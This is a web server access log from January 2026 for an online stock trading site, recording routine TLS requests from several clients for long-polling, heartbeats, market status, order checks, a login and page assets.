[09/Jan/2026:09:35:28 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:35:28 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:35:28 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:35:28 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:35:28 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:09:35:28 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:35:28 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922797640 HTTP/1.1" 3188
[09/Jan/2026:09:35:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922800877 HTTP/1.1" -
[09/Jan/2026:09:35:30 +0800] 27.115.124.118 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:09:35:30 +0800] 27.115.124.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:09:35:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:35:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:35:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922799692 HTTP/1.1" -
[09/Jan/2026:09:35:30 +0800] 27.115.124.118 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:09:35:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_888888_256x240.png HTTP/1.1" 6999
[09/Jan/2026:09:35:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_454545_256x240.png HTTP/1.1" 6992
[09/Jan/2026:09:35:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:09:35:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922800678 HTTP/1.1" -
[09/Jan/2026:09:35:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922800866 HTTP/1.1" -
[09/Jan/2026:09:35:32 +0800] 27.115.124.118 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:09:35:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922816368 HTTP/1.1" -
[09/Jan/2026:09:35:33 +0800] 27.115.124.69 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:09:35:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922805933 HTTP/1.1" -
[09/Jan/2026:09:35:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922805050 HTTP/1.1" -
[09/Jan/2026:09:35:36 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922805700 HTTP/1.1" -
[09/Jan/2026:09:35:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922805915 HTTP/1.1" -
[09/Jan/2026:09:35:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922821439 HTTP/1.1" -
[09/Jan/2026:09:35:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922811081 HTTP/1.1" -
[09/Jan/2026:09:35:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:35:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:35:41 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922810722 HTTP/1.1" -
[09/Jan/2026:09:35:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922810964 HTTP/1.1" -
[09/Jan/2026:09:35:42 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922811050 HTTP/1.1" -
[09/Jan/2026:09:35:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922826493 HTTP/1.1" -
[09/Jan/2026:09:35:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:35:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922816204 HTTP/1.1" -
[09/Jan/2026:09:35:46 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922815764 HTTP/1.1" -
[09/Jan/2026:09:35:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922816007 HTTP/1.1" -
[09/Jan/2026:09:35:47 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922831525 HTTP/1.1" -
[09/Jan/2026:09:35:47 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:09:35:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922817055 HTTP/1.1" -
[09/Jan/2026:09:35:48 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:48 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:09:35:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:35:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:35:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922821391 HTTP/1.1" -
[09/Jan/2026:09:35:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:35:51 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922820791 HTTP/1.1" -
[09/Jan/2026:09:35:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922821031 HTTP/1.1" -
[09/Jan/2026:09:35:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922837227 HTTP/1.1" -
[09/Jan/2026:09:35:54 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922823046 HTTP/1.1" -
[09/Jan/2026:09:35:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922826514 HTTP/1.1" -
[09/Jan/2026:09:35:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:35:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:35:56 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922825808 HTTP/1.1" -
[09/Jan/2026:09:35:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922826067 HTTP/1.1" -
[09/Jan/2026:09:35:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922843231 HTTP/1.1" -
[09/Jan/2026:09:35:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922831645 HTTP/1.1" -
[09/Jan/2026:09:36:01 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922830823 HTTP/1.1" -
[09/Jan/2026:09:36:02 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922829058 HTTP/1.1" -
[09/Jan/2026:09:36:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922831112 HTTP/1.1" -
[09/Jan/2026:09:36:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922836694 HTTP/1.1" -
[09/Jan/2026:09:36:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922849234 HTTP/1.1" -
[09/Jan/2026:09:36:06 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922835851 HTTP/1.1" -
[09/Jan/2026:09:36:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922836143 HTTP/1.1" -
[09/Jan/2026:09:36:07 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922836058 HTTP/1.1" -
[09/Jan/2026:09:36:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:36:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:36:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1214
[09/Jan/2026:09:36:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922841849 HTTP/1.1" -
[09/Jan/2026:09:36:10 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:10 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:09:36:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:36:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:36:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922855227 HTTP/1.1" -
[09/Jan/2026:09:36:11 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922840874 HTTP/1.1" -
[09/Jan/2026:09:36:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922841184 HTTP/1.1" -
[09/Jan/2026:09:36:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:36:13 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922842047 HTTP/1.1" -
[09/Jan/2026:09:36:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:09:36:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:09:36:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:09:36:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:09:36:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:09:36:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:36:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
